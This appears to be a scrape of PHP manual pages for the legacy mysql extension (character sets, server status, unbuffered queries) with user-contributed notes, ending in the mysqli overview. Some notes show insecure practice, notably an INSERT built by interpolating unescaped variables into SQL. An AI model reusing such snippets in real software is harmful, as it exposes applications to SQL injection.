kraikkonen85 at yahoo dot com 30-Nov-2010 09:39
Besides setting mysql_set_charset and adding utf8 setting metadata to html, another important but "unpredictable" reason is the encoding type of your PHP editor when saving. For example, if you save the php file other than encodings such as "unicode" or "ANSI", as i experienced, you may notice weird chars like squares, question marks etc.

To make sure, try "save as" method to see explictly that your php file is being saved as utf8.

Hope someone gets help from that, like Ronald stated previously.

Onur
petersealy at aol dot com 07-Apr-2009 09:25
Having just spent 24 hours banging my head against character sets, explicitly setting all my MySQL databases and tables to utf-8, using mysql_set_charset(), and *still* not solving my character display problems, I'll just remind you that htmlentities() now also takes an optional argument to specify the character set, and that *also* needs to be set to "utf-8" to avoid grief.
humanclock dot com 01-Apr-2009 02:25
Be careful when working with multiple databases via the same user/host that you specify "true" as the fourth argument to mysql_connect(), otherwise when you call this function it will set both db connections to the same character set.

If you don't pass in "true" to mysql_connect() in the example below, $link1 and $link2 will have the same resource id# and both database connections will end up being set to utf-8 charsets.

<?php
$link1 = mysql_connect('localhost','user1','pass1',TRUE);
$link2 = mysql_connect('localhost','user1','pass1',TRUE);

mysql_selectdb('db1',$link1);
mysql_selectdb('db2',$link2);

mysql_set_charset('latin1',$link1);
mysql_set_charset('utf8',$link2);
?>
Ashus 20-Oct-2008 02:56
I needed to access the database from within one particular webhosting service. Pages are UTF-8 encoded and data received by forms should be inserted into database without changing the encoding. The database is also in UTF-8.

Neither SET character set 'utf8' or SET names 'utf8' worked properly here, so this workaround made sure all variables are set to utf-8.

<?php

// ... (creating a connection to mysql) ...

mysql_query("SET character_set_results = 'utf8', character_set_client = 'utf8', character_set_connection = 'utf8', character_set_database = 'utf8', character_set_server = 'utf8'", $conn);

$re = mysql_query('SHOW VARIABLES LIKE "%character_set%";')or die(mysql_error());
while ($r = mysql_fetch_assoc($re)) {var_dump ($r); echo "<br />";} exit;

?>

All important variables are now utf-8 and we can safely use INSERTs or SELECTs with mysql_escape_string($var) without any encoding functions.
Ronald 06-Oct-2008 01:33
I need to revoke most of my post below. What I found out afterwards is this:

1. if you do not use mysql_set_char mysql will NOT do any translations and thus store a utf8-character-byte as is. If you then retrieve this byte from the db and output it in a utf8 page it will show just fine BUT if other apps query this byte (expecting to find a latin1 byte) they will go wrong.

2. the 'bug' mentioned before only occurs if you use a ucase or lcase function in your statement (like: latin1_col = ucase('utf8 string')

Hope this helps, Ronald
Ronald 25-Sep-2008 12:42
I just hope that the text below will help someone who is struggling with charset encoding, specially when php-charset is different from the mysql-charset. Let me add that I really think that the php man-pages on the mysql-functions are lacking a lot of details on this important issues. Could someone add some useful text here?

Here is my situation. PHP5.2.4, MySql 4.1.15. A php web-application fully utf-8 encoded and a mysql database in latin1 charset.

To make this work I had to:

1. create and store all code files (php, html, inc, js, etc) in the utf-8 charset. Your editor should have an option for this, if not dump it.

2. check that your editor does not add a BOM (http://en.wikipedia.org/wiki/Byte-order_mark) at the beginning of the file. Use a hex-editor to detect them if needed.

3. Set your apache environment to utf-8 by adding 'AddDefaultCharset utf-8' to your .htaccess. If you do not use apache add 'default_charset utf-8' to your php.ini. You have to do either of them (not both), php will use the apache setting where needed.

4. Additionally add this meta-tag to your html-header: '<meta http-equiv="Content-type" content="text/html; charset=UTF-8" />'. This will help silly browsers (Oeps, IE again?) that ignore the utf-response-header send to them.

5. Check that the above line are listened to by check the 'page info' of your pages in firefox. It should show 2 (!!) utf-8 entries.

======== all of the above sofar has nothing to do with mysql ;-) ======

6. Do *NOT* (repeat NOT!) set the 'names' (set names *) or _ANY_ 'character set' (set character set *) (opposed to what they tell you on these pages).

7. Check the previous item by listing the results of the mysql query 'SHOW session VARIABLES'. All char_sets here should say 'latin1', except for the system one which is always 'utf8'. All collations should say 'latin1_*'. Furthermore the php function mysql_client_encoding() should also return latin1 (though I don't understand why; what does this value mean, I would think if php (being the client) is utf8 encoded this would be utf8?)

8 Finally test the above by storing this string in your db and output it in your webpage: 'Iñtërnâtiônàlizætiøn and €'.

Now what was interesting during testing and debugging of the above findings was:
1. If I would run 'mysql_set_charset('utf8')' _OR_ 'mysql_query("SET NAMES 'utf8'");' and then run a query in which I would have 'where char_column = 'abc''it would die with 'Illegal mix of collations'

2. If I would run 'mysql_query("SET character_set_client = 'utf8';"); mysql_query("SET character_set_result = 'utf8';")' the query would work BUT the non-ascii-characters would show scrambled in the browser.

3. BUT these 2 points above work just fine on my local dev-machine (php 5.2.3 & mysql 5.0.45)!!!!!!!!

This draws me to these 3 conclusions:

1. The Php-mysql-function library (5.2.+) does a fine job translating utf-8 queries & results to/from latin1! It's better to let php handle this for you then to have mysql do this.

2. Mysql (4.0.+) has 1 or more bugs (well, let's say unfinished features) that involve the charset-translations that are solved in 5.0.+.

3. It is not well enough documented! (Otherwise I would have to write this)

One last remark: clearly characters that exist in utf8 and not in latin1 (and vv.) will get lost during utf8-latin1-utf8 translation.

If any of the above is not correct or not complete feel free to correct this! (Or better yet, add a chapter to the php manual :-)

Cheers, Ronald
nabeelmoidu at gmail dot com 08-Jun-2008 10:11
Here's an example of how to use this feature :

I'm using  PHP 5.2.5 from http://oss.oracle.com/projects/php/

I wanted to store arabic characters as UTF8 in the database and as suggested in many of the google results, I tried using

mysql_query("SET NAMES 'utf8'");

and

mysql_query("SET CHARACTER SET utf8 ");

but it did not work.

Using the following, it worked flawlessly

$link = mysql_connect('localhost', 'user', 'password');
mysql_set_charset('utf8',$link);

Once this is set we need not manually encode the text into utf using utf8_encode() or other functions. The arabic ( or any UTF8 supported ) text can be passed directly to the database and it is automatically converted by PHP.
For eg.
<?php
$link = mysql_connect('localhost', 'user', 'password');
mysql_set_charset('utf8',$link);
$db_selected = mysql_select_db('emp_feedback', $link);
if (!$db_selected) { die ('Database access error : ' . mysql_error());}
$query = "INSERT INTO feedback ( EmpName, Message ) VALUES ('$_empName','$_message')";
mysql_query($query) or die('Error, Feedback insert into database failed');
?>
Note that here $_empName is stored in English while $_message is in Arabic.
vljubovic AT smartnet DOT ba 04-Mar-2008 12:22
Using the function provided by Janez and nag worked fine for SELECTs, but with INSERT and UPDATE the non-ascii characters got converted into question marks. To fix this, I replaced SET CHARACTER SET with SET NAMES (ref: http://dev.mysql.com/doc/refman/5.0/en/charset-connection.html). So the function becomes:

<?php
 if (function_exists('mysql_set_charset') === false) {
     /**
      * Sets the client character set.
      *
      * Note: This function requires MySQL 5.0.7 or later.
      *
      * @see http://www.php.net/mysql-set-charset
      * @param string $charset A valid character set name
      * @param resource $link_identifier The MySQL connection
      * @return TRUE on success or FALSE on failure
      */
     function mysql_set_charset($charset, $link_identifier = null)
     {
         if ($link_identifier == null) {
             return mysql_query('SET NAMES "'.$charset.'"');
         } else {
             return mysql_query('SET NAMES "'.$charset.'"', $link_identifier);
         }
     }
 }
 ?>
Anonymous 10-Feb-2008 09:03
Actually, this function is available in client libraries in MySQL 4.1.13 and newer, too.  So the real version requirement is MySQL >= 5.0.7 OR, if you're using MySQL 4, then >= 4.1.13.
nag QWE svgfr RTY org 17-Dec-2007 07:47
Here's an improved version of Janez R.'s function:
<?php
if (function_exists('mysql_set_charset') === false) {
    /**
     * Sets the client character set.
     *
     * Note: This function requires MySQL 5.0.7 or later.
     *
     * @see http://www.php.net/mysql-set-charset
     * @param string $charset A valid character set name
     * @param resource $link_identifier The MySQL connection
     * @return TRUE on success or FALSE on failure
     */
    function mysql_set_charset($charset, $link_identifier = null)
    {
        if ($link_identifier == null) {
            return mysql_query('SET CHARACTER SET "'.$charset.'"');
        } else {
            return mysql_query('SET CHARACTER SET "'.$charset.'"', $link_identifier);
        }
    }
}
?>
Janez R. 04-Sep-2007 01:23
I assume that this is an equivalent in previous versions of php (add some parameter validation and default values though!):
<?
if (!function_exists('mysql_set_charset')) {
  function mysql_set_charset($charset,$dbh)
  {
    return mysql_query("set names $charset",$dbh);
  }
}
?>
mysql_select_db
mysql_stat
MySQL Functions


Get current system status

mysql_set_charset
mysql_tablename
MySQL Functions
PHP Manual

mysql_stat

(PHP 4 >= 4.3.0, PHP 5)

mysql_stat — Get current system status

Description

string mysql_stat ([ resource $link_identifier ] )

mysql_stat() returns the current server status.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns a string with the status for uptime, threads, queries, open tables, flush tables and queries per second. For a complete list of other status variables, you have to use the SHOW STATUS SQL command. If link_identifier is invalid, NULL is returned.

Examples

Example #1 mysql_stat() example

<?php
$link   = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$status = explode('  ', mysql_stat($link));
print_r($status);
?>

The above example will output something similar to:

Array
(
    [0] => Uptime: 5380
    [1] => Threads: 2
    [2] => Questions: 1321299
    [3] => Slow queries: 0
    [4] => Opens: 26
    [5] => Flush tables: 1
    [6] => Open tables: 17
    [7] => Queries per second avg: 245.595
)

Example #2 Alternative mysql_stat() example

<?php
$link   = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$result = mysql_query('SHOW STATUS', $link);
while ($row = mysql_fetch_assoc($result)) {
    echo $row['Variable_name'] . ' = ' . $row['Value'] . "\n";
}
?>

The above example will output something similar to:

back_log = 50
basedir = /usr/local/
bdb_cache_size = 8388600
bdb_log_buffer_size = 32768
bdb_home = /var/db/mysql/
bdb_max_lock = 10000
bdb_logdir =
bdb_shared_data = OFF
bdb_tmpdir = /var/tmp/
...

See Also

  • mysql_get_server_info() - Get MySQL server info
  • mysql_list_processes() - List MySQL processes

User Contributed Notes

billbilljr at gmail dot com 06-Jan-2011 11:46
The following script can be used to clearly print out the results of mysql_stat().

<?php
    mysql_connect("localhost", "username", "password");
    $array = explode("  ", mysql_stat());
    foreach ($array as $value){
        echo $value . "<br />";
    }
?>

Outputs something similar to:

Uptime: 698
Threads: 1
Questions: 4
Slow queries: 0
Opens: 19
Flush tables: 1
Open tables: 12
Queries per second avg: 0.5
Topper_ 02-Sep-2008 01:51
<?php

    $mysql_stat=mysql_stat($dbconnect);

    $tot_count=preg_match_all('/([a-z ]+):\s*([0-9.]+)/i', $mysql_stat, $matches);

    for ($i=0; $i<$tot_count; $i++) {
        $info1=$matches[1][$i];
        $info2=$matches[2][$i];

        echo "$info1 ($info2)<br>";
    }

/*
example output:

Uptime (13651)
Threads (1)
Questions (12910)
Slow queries (0)
Opens (314)
Flush tables (1)
Open tables (24)
Queries per second avg (0.945)

*/

?>
Enzo_01 at abv dot bg 31-May-2008 12:22
<?php
// function that return stat elements into array
function mysql_stat_array($A=null) {
    $status = explode('  ', mysql_stat());
    foreach($status as $k=>$v) { $v=explode(':',$v,2); $status[$v[0]]=$v[1]; }
    return (isset($status[$A])?$status[$A]:$status);
}
/*
example return:
Array ( [0] => Uptime: 385815 [1] => Threads: 1 [2] => Questions: 3515 [3] => Slow queries: 0 [4] => Opens: 32 [5] => Flush tables: 1 [6] => Open tables: 8 [7] => Queries per second avg: 0.009 [Uptime] => Array ( [0] => Uptime [1] => 385815 ) [Threads] => Array ( [0] => Threads [1] => 1 ) [Questions] => Array ( [0] => Questions [1] => 3515 ) [Slow queries] => Array ( [0] => Slow queries [1] => 0 ) [Opens] => Array ( [0] => Opens [1] => 32 ) [Flush tables] => Array ( [0] => Flush tables [1] => 1 ) [Open tables] => Array ( [0] => Open tables [1] => 8 ) [Queries per second avg] => Array ( [0] => Queries per second avg [1] => 0.009 ) )
*/

?>
08-Feb-2005 06:16
if you need the complete status as outputted by the "show status" command. Try this function.
<?
function mysql_status($db=NULL) {
if(!mysql_ping($db))
$db=mysql_connect("localhost","user","password");
$res=mysql_query("show status",$db);
while (list($key,$value)=mysql_fetch_array($res))
$sql[$key]=$value;
return $sql;
}
?>
mysql_set_charset
mysql_tablename
MySQL Functions


Get table name of field

mysql_stat
mysql_thread_id
MySQL Functions
PHP Manual

mysql_tablename

(PHP 4, PHP 5)

mysql_tablename — Get table name of field

Description

string mysql_tablename ( resource $result , int $i )

Retrieves the table name from a result.

This function is deprecated. It is preferable to use mysql_query() to issue an SQL SHOW TABLES [FROM db_name] [LIKE 'pattern'] statement instead.

Parameters

result

A result pointer resource that's returned from mysql_list_tables().

i

The integer index (row/table number)

Return Values

The name of the table on success or FALSE on failure.

Use the mysql_tablename() function to traverse this result pointer, or any function for result tables, such as mysql_fetch_array().

Examples

Example #1 mysql_tablename() example

<?php
mysql_connect("localhost", "mysql_user", "mysql_password");
$result = mysql_list_tables("mydb");
$num_rows = mysql_num_rows($result);
for ($i = 0; $i < $num_rows; $i++) {
    echo "Table: ", mysql_tablename($result, $i), "\n";
}

mysql_free_result($result);
?>

Notes

Note:

The mysql_num_rows() function may be used to determine the number of tables in the result pointer.

See Also

  • mysql_list_tables() - List tables in a MySQL database
  • mysql_field_table() - Get name of the table the specified field is in
  • mysql_db_name() - Retrieves database name from the call to mysql_list_dbs

User Contributed Notes

Haseldow 23-Apr-2004 05:00
Another way to check if a table exists:

if(mysql_num_rows(mysql_query("SHOW TABLES LIKE '".$table."'"))==1) echo "Table exists";
else echo "Table does not exist";
pl at thinkmetrics dot com 17-Dec-2003 08:00
A simple function to check for the existance of a table:

function TableExists($tablename, $db) {

    // Get a list of tables contained within the database.
    $result = mysql_list_tables($db);
    $rcount = mysql_num_rows($result);

    // Check each in list for a match.
    for ($i=0;$i<$rcount;$i++) {
        if (mysql_tablename($result, $i)==$tablename) return true;
    }
    return false;
}
mysql_stat
mysql_thread_id
MySQL Functions


Return the current thread ID

mysql_tablename
mysql_unbuffered_query
MySQL Functions
PHP Manual

mysql_thread_id

(PHP 4 >= 4.3.0, PHP 5)

mysql_thread_id — Return the current thread ID

Description

int mysql_thread_id ([ resource $link_identifier ] )

Retrieves the current thread ID. If the connection is lost, and a reconnect with mysql_ping() is executed, the thread ID will change. This means only retrieve the thread ID when needed.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

The thread ID on success or FALSE on failure.

Examples

Example #1 mysql_thread_id() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$thread_id = mysql_thread_id($link);
if ($thread_id){
    printf("current thread id is %d\n", $thread_id);
}
?>

The above example will output something similar to:

current thread id is 73

See Also

  • mysql_ping() - Ping a server connection or reconnect if there is no connection
  • mysql_list_processes() - List MySQL processes

User Contributed Notes

There are no user contributed notes for this page.
mysql_tablename
mysql_unbuffered_query
MySQL Functions


Send an SQL query to MySQL without fetching and buffering the result rows.

mysql_thread_id
Mysqli
MySQL Functions
PHP Manual

mysql_unbuffered_query

(PHP 4 >= 4.0.6, PHP 5)

mysql_unbuffered_query — Send an SQL query to MySQL without fetching and buffering the result rows.

Description

resource mysql_unbuffered_query ( string $query [, resource $link_identifier ] )

mysql_unbuffered_query() sends the SQL query query to MySQL without automatically fetching and buffering the result rows as mysql_query() does. This saves a considerable amount of memory with SQL queries that produce large result sets, and you can start working on the result set immediately after the first row has been retrieved as you don't have to wait until the complete SQL query has been performed. To use mysql_unbuffered_query() while multiple database connections are open, you must specify the optional parameter link_identifier to identify which connection you want to use.

Parameters

query

The SQL query to execute.

Data inside the query should be properly escaped.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

For SELECT, SHOW, DESCRIBE or EXPLAIN statements, mysql_unbuffered_query() returns a resource on success, or FALSE on error.

For other type of SQL statements, UPDATE, DELETE, DROP, etc, mysql_unbuffered_query() returns TRUE on success or FALSE on error.

Notes

Note:

The benefits of mysql_unbuffered_query() come at a cost: you cannot use mysql_num_rows() and mysql_data_seek() on a result set returned from mysql_unbuffered_query(), until all rows are fetched. You also have to fetch all result rows from an unbuffered SQL query before you can send a new SQL query to MySQL, using the same link_identifier.

See Also

  • mysql_query() - Send a MySQL query

User Contributed Notes

crazyone at crazycoders dot net 27-May-2008 09:47
You are NOT required to read all rows from the resultset when using unbuffered query, you may opt out at any time and use mysql_free_result. Imagine looking at 1 million row when the first 50 suffice? Just free the result and you are good to go again.
silvanojr at gmail dot com 12-May-2006 02:02
Note:  The benefits of mysql_unbuffered_query() come at a cost: You cannot use mysql_num_rows() and...

but it looks like you can use SQL_CALC_ROWS on MySQL to get the total rows without the limit.
andre dot steffens at adress-research dot de 08-Oct-2004 06:18
If you use mysql_ping() to check the connection, the resultset from mysql_unbuffered_query() will be kill.
steve_stockman at mac dot symantec dot com 01-Apr-2004 02:19
If you are going to do a large query, but are concerned about blocking access to the table during an unbuffered query, why not go through a temporary table? (Of course, this is predicated on the current user having permission to create tables.)

<?php
$dbQuery = "SELECT something ...";
if (mysql_query ("CREATE TEMPORARY TABLE MyQuery $dbQuery")) {
    $numRows = mysql_affected_rows();
    if ($numRows == 0) {
        /* handle empty selection */
    } else {
        $result = mysql_unbuffered_query ('SELECT * FROM MyQuery');
        /* handle result */
    }
    mysql_query ('DROP TABLE MyQuery');
}
?>
post at jfl dot dk 29-Nov-2003 05:57
If using optimized MyISAM tables I guess there is a big advantage with this function as it is possible to do selects and inserts on the same time as long as no rows in the table gets updated.
14-Jun-2003 10:35
The other hand should really be, that the table remains locked until all rows have been retrieved, right?  This is a very important thing to mention, you could tie up the whole database with a lock.
shaner at accretivetg dot com 21-May-2003 04:45
Regarding bailing on a really large result, while doing an unbuffered query, there _is_ a way to do this: kill the thread and exit your processing loop.  This, of course, requires having a separate database link.  Something like below does the trick:

<?php
// a db link for queries
$lh  = mysql_connect( 'server', 'uname', 'pword' );
// and a controller link
$clh = mysql_connect( 'server', 'uname', 'pword', true );

if ( mysql_select_db ( 'big_database', $lh ) )
{
  $began  =  time();
  $tout   = 60 * 5; // five minute limit
  $qry    = "SELECT * FROM my_bigass_table";
  $rh     = mysql_unbuffered_query( $qry, $lh );
  $thread = mysql_thread_id ( $lh );
  while ( $res = mysql_fetch_row( $rh ) )
  {
    /* do what you need to do
     * ...
     * ...
     */
    if ( ( time() - $began ) > $tout )
    {
      // this is taking too long
      mysql_query( "KILL $thread", $clh );
      break;
    }
  }
}
?>
frappyjohn at dos2linux dot org 17-Feb-2003 10:21
Don't let the two hands confuse you, these are both advantages (they should really be on the same hand):

On the one hand, this saves a considerable amount of memory with SQL queries that produce large result sets.

On the other hand, you can start working on the result set immediately ...
david at php dot net 17-May-2002 09:25
You are absolutely required to retrieve all rows in the result set (option 'a' in the first comment). If you fail to do so, PHP will do so for you, and will emit a NOTICE warning you of the fact. From the MySQL API, "Furthermore, you must retrieve all the rows even if you determine in mid-retrieval that you've found the information you were looking for. ".

Also note that if you are using this function, you should be quick about processing the result set, or you will tie up the MySQL server (other threads will be unable to write to the tables you are reading from).

If you want to be able to 'abort' mid result-set or if you want to do lengthy processing on the results, you are misunderstanding the purpose of this function.

Also note that UPDATE queries etc return no result set, so this function is only useful for SELECT etc.
mysql_thread_id
Mysqli
MySQL Functions


MySQL Improved Extension

  • Introduction
  • Overview
  • Quickstart
    • Dual procedural and object-oriented interface
    • Connections
    • Executing statements
    • Prepared Statements
    • Stored Procedures
    • Multiple Statements
    • API support for transactions
    • Metadata
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • The mysqli Extension and Persistent Connections
  • Predefined Constants
  • Notes
  • The MySQLi Extension Function Summary
  • mysqli — The mysqli class
    • mysqli::$affected_rows — Gets the number of affected rows in a previous MySQL operation
    • mysqli::autocommit — Turns on or off auto-commiting database modifications
    • mysqli::change_user — Changes the user of the specified database connection
    • mysqli::character_set_name — Returns the default character set for the database connection
    • mysqli::$client_info — Returns the MySQL client version as a string
    • mysqli::$client_version — Get MySQL client info
    • mysqli::close — Closes a previously opened database connection
    • mysqli::commit — Commits the current transaction
    • mysqli::$connect_errno — Returns the error code from last connect call
    • mysqli::$connect_error — Returns a string description of the last connect error
    • mysqli::__construct — Open a new connection to the MySQL server
    • mysqli::debug — Performs debugging operations
    • mysqli::disable_reads_from_master — Disable reads from master
    • mysqli::dump_debug_info — Dump debugging information into the log
    • mysqli::$errno — Returns the error code for the most recent function call
    • mysqli::$error — Returns a string description of the last error
    • mysqli::$field_count — Returns the number of columns for the most recent query
    • mysqli::get_charset — Returns a character set object
    • mysqli::get_client_info — Returns the MySQL client version as a string
    • mysqli_get_client_stats — Returns client per-process statistics
    • mysqli::$client_version — Get MySQL client info
    • mysqli::get_connection_stats — Returns statistics about the client connection
    • mysqli::$host_info — Returns a string representing the type of connection used
    • mysqli::$protocol_version — Returns the version of the MySQL protocol used
    • mysqli::$server_info — Returns the version of the MySQL server
    • mysqli::$server_version — Returns the version of the MySQL server as an integer
    • mysqli::get_warnings — Get result of SHOW WARNINGS
    • mysqli::$info — Retrieves information about the most recently executed query
    • mysqli::init — Initializes MySQLi and returns a resource for use with mysqli_real_connect()
    • mysqli::$insert_id — Returns the auto generated id used in the last query
    • mysqli::kill — Asks the server to kill a MySQL thread
    • mysqli::more_results — Check if there are any more query results from a multi query
    • mysqli::multi_query — Performs a query on the database
    • mysqli::next_result — Prepare next result from multi_query
    • mysqli::options — Set options
    • mysqli::ping — Pings a server connection, or tries to reconnect if the connection has gone down
    • mysqli::poll — Poll connections
    • mysqli::prepare — Prepare an SQL statement for execution
    • mysqli::query — Performs a query on the database
    • mysqli::real_connect — Opens a connection to a mysql server
    • mysqli::real_escape_string — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
    • mysqli::real_query — Execute an SQL query
    • mysqli::reap_async_query — Get result from async query
    • mysqli::refresh — Refreshes
    • mysqli::rollback — Rolls back current transaction
    • mysqli::rpl_query_type — Returns RPL query type
    • mysqli::select_db — Selects the default database for database queries
    • mysqli::send_query — Send the query and return
    • mysqli::set_charset — Sets the default client character set
    • mysqli::set_local_infile_default — Unsets user defined handler for load local infile command
    • mysqli::set_local_infile_handler — Set callback function for LOAD DATA LOCAL INFILE command
    • mysqli::$sqlstate — Returns the SQLSTATE error from previous MySQL operation
    • mysqli::ssl_set — Used for establishing secure connections using SSL
    • mysqli::stat — Gets the current system status
    • mysqli::stmt_init — Initializes a statement and returns an object for use with mysqli_stmt_prepare
    • mysqli::store_result — Transfers a result set from the last query
    • mysqli::$thread_id — Returns the thread ID for the current connection
    • mysqli::thread_safe — Returns whether thread safety is given or not
    • mysqli::use_result — Initiate a result set retrieval
    • mysqli::$warning_count — Returns the number of warnings from the last query for the given link
  • mysqli_stmt — The mysqli_stmt class
    • mysqli_stmt::$affected_rows — Returns the total number of rows changed, deleted, or inserted by the last executed statement
    • mysqli_stmt::attr_get — Used to get the current value of a statement attribute
    • mysqli_stmt::attr_set — Used to modify the behavior of a prepared statement
    • mysqli_stmt::bind_param — Binds variables to a prepared statement as parameters
    • mysqli_stmt::bind_result — Binds variables to a prepared statement for result storage
    • mysqli_stmt::close — Closes a prepared statement
    • mysqli_stmt::data_seek — Seeks to an arbitrary row in statement result set
    • mysqli_stmt::$errno — Returns the error code for the most recent statement call
    • mysqli_stmt::$error — Returns a string description for last statement error
    • mysqli_stmt::execute — Executes a prepared Query
    • mysqli_stmt::fetch — Fetch results from a prepared statement into the bound variables
    • mysqli_stmt::$field_count — Returns the number of field in the given statement
    • mysqli_stmt::free_result — Frees stored result memory for the given statement handle
    • mysqli_stmt::get_result — Gets a result set from a prepared statement
    • mysqli_stmt::get_warnings — Get result of SHOW WARNINGS
    • mysqli_stmt::$insert_id — Get the ID generated from the previous INSERT operation
    • mysqli_stmt::$num_rows — Return the number of rows in statements result set
    • mysqli_stmt::$param_count — Returns the number of parameter for the given statement
    • mysqli_stmt::prepare — Prepare an SQL statement for execution
    • mysqli_stmt::reset — Resets a prepared statement
    • mysqli_stmt::result_metadata — Returns result set metadata from a prepared statement
    • mysqli_stmt::send_long_data — Send data in blocks
    • mysqli_stmt::$sqlstate — Returns SQLSTATE error from previous statement operation
    • mysqli_stmt::store_result — Transfers a result set from a prepared statement
  • mysqli_result — The mysqli_result class
    • mysqli_result::$current_field — Get current field offset of a result pointer
    • mysqli_result::data_seek — Adjusts the result pointer to an arbitary row in the result
    • mysqli_result::fetch_all — Fetches all result rows as an associative array, a numeric array, or both
    • mysqli_result::fetch_array — Fetch a result row as an associative, a numeric array, or both
    • mysqli_result::fetch_assoc — Fetch a result row as an associative array
    • mysqli_result::fetch_field_direct — Fetch meta-data for a single field
    • mysqli_result::fetch_field — Returns the next field in the result set
    • mysqli_result::fetch_fields — Returns an array of objects representing the fields in a result set
    • mysqli_result::fetch_object — Returns the current row of a result set as an object
    • mysqli_result::fetch_row — Get a result row as an enumerated array
    • mysqli_result::$field_count — Get the number of fields in a result
    • mysqli_result::field_seek — Set result pointer to a specified field offset
    • mysqli_result::free — Frees the memory associated with a result
    • mysqli_result::$lengths — Returns the lengths of the columns of the current row in the result set
    • mysqli_result::$num_rows — Gets the number of rows in a result
  • mysqli_driver — The mysqli_driver class
    • mysqli_driver::embedded_server_end — Stop embedded server
    • mysqli_driver::embedded_server_start — Initialize and start embedded server
  • mysqli_warning — The mysqli_warning class
    • mysqli_warning::__construct — The __construct purpose
    • mysqli_warning::next — The next purpose
  • Aliases and deprecated Mysqli Functions
    • mysqli_bind_param — Alias for mysqli_stmt_bind_param
    • mysqli_bind_result — Alias for mysqli_stmt_bind_result
    • mysqli_client_encoding — Alias of mysqli_character_set_name
    • mysqli_connect — Alias of mysqli::__construct
    • mysqli_disable_rpl_parse — Disable RPL parse
    • mysqli_enable_reads_from_master — Enable reads from master
    • mysqli_enable_rpl_parse — Enable RPL parse
    • mysqli_escape_string — Alias of mysqli_real_escape_string
    • mysqli_execute — Alias for mysqli_stmt_execute
    • mysqli_fetch — Alias for mysqli_stmt_fetch
    • mysqli_get_cache_stats — Returns client Zval cache statistics
    • mysqli_get_metadata — Alias for mysqli_stmt_result_metadata
    • mysqli_master_query — Enforce execution of a query on the master in a master/slave setup
    • mysqli_param_count — Alias for mysqli_stmt_param_count
    • mysqli_report — Enables or disables internal report functions
    • mysqli_rpl_parse_enabled — Check if RPL parse is enabled
    • mysqli_rpl_probe — RPL probe
    • mysqli_send_long_data — Alias for mysqli_stmt_send_long_data
    • mysqli_set_opt — Alias of mysqli_options
    • mysqli_slave_query — Force execution of a query on a slave in a master/slave setup

User Contributed Notes

There are no user contributed notes for this page.
mysql_unbuffered_query
Introduction
MySQL


Introduction

The mysqli extension allows you to access the functionality provided by MySQL 4.1 and above. More information about the MySQL Database server can be found at » http://www.mysql.com/

An overview of software available for using MySQL from PHP can be found at Overview

Documentation for MySQL can be found at » http://dev.mysql.com/doc/.

Parts of this documentation included from MySQL manual with permissions of Oracle Corporation.

Examples

All examples in the mysqli documentation use the world database. The world database can be found at » http://downloads.mysql.com/docs/world.sql.gz

User Contributed Notes

There are no user contributed notes for this page.
Mysqli
Overview
Mysqli


Overview

This section provides an introduction to the options available to you when developing a PHP application that needs to interact with a MySQL database.

What is an API?

An Application Programming Interface, or API, defines the classes, methods, functions and variables that your application will need to call in order to carry out its desired task. In the case of PHP applications that need to communicate with databases the necessary APIs are usually exposed via PHP extensions.

APIs can be procedural or object-oriented. With a procedural API you call functions to carry out tasks, with the object-oriented API you instantiate classes and then call methods on the resulting objects. Of the two the latter is usually the preferred interface, as it is more modern and leads to better organised code.

When writing PHP applications that need to connect to the MySQL server there are several API options available. This document discusses what is available and how to select the best solution for your application.

What is a Connector?

In the MySQL documentation, the term connector refers to a piece of software that allows your application to connect to the MySQL database server. MySQL provides connectors for a variety of languages, including PHP.

If your PHP application needs to communicate with a database server you will need to write PHP code to perform such activities as connecting to the database server, querying the database and other database-related functions. Software is required to provide the API that your PHP application will use, and also handle the communication between your application and the database server, possibly using other intermediate libraries where necessary. This software is known generically as a connector, as it allows your application to connect to a database server.

What is a Driver?

A driver is a piece of software designed to communicate with a specific type of database server. The driver may also call a library, such as the MySQL Client Library or the MySQL Native Driver. These libraries implement the low-level protocol used to communicate with the MySQL database server.

By way of an example, the PHP Data Objects (PDO) database abstraction layer may use one of several database-specific drivers. One of the drivers it has available is the PDO MYSQL driver, which allows it to interface with the MySQL server.

Sometimes people use the terms connector and driver interchangeably, this can be confusing. In the MySQL-related documentation the term "driver" is reserved for software that provides the database-specific part of a connector package.

What is an Extension?

In the PHP documentation you will come across another term - extension. The PHP code consists of a core, with optional extensions to the core functionality. PHP's MySQL-related extensions, such as the mysqli extension, and the mysql extension, are implemented using the PHP extension framework.

An extension typically exposes an API to the PHP programmer, to allow its facilities to be used programmatically. However, some extensions which use the PHP extension framework do not expose an API to the PHP programmer.

The PDO MySQL driver extension, for example, does not expose an API to the PHP programmer, but provides an interface to the PDO layer above it.

The terms API and extension should not be taken to mean the same thing, as an extension may not necessarily expose an API to the programmer.

What are the main PHP API offerings for using MySQL?

There are three main API options when considering connecting to a MySQL database server:

  • PHP's MySQL Extension

  • PHP's mysqli Extension

  • PHP Data Objects (PDO)

Each has its own advantages and disadvantages. The following discussion aims to give a brief introduction to the key aspects of each API.

What is PHP's MySQL Extension?

This is the original extension designed to allow you to develop PHP applications that interact with a MySQL database. The mysql extension provides a procedural interface and is intended for use only with MySQL versions older than 4.1.3. This extension can be used with versions of MySQL 4.1.3 or newer, but not all of the latest MySQL server features will be available.

Note:

If you are using MySQL versions 4.1.3 or later it is strongly recommended that you use the mysqli extension instead.

The mysql extension source code is located in the PHP extension directory ext/mysql.

For further information on the mysql extension, see Mysql.

What is PHP's mysqli Extension?

The mysqli extension, or as it is sometimes known, the MySQL improved extension, was developed to take advantage of new features found in MySQL systems versions 4.1.3 and newer. The mysqli extension is included with PHP versions 5 and later.

The mysqli extension has a number of benefits, the key enhancements over the mysql extension being:
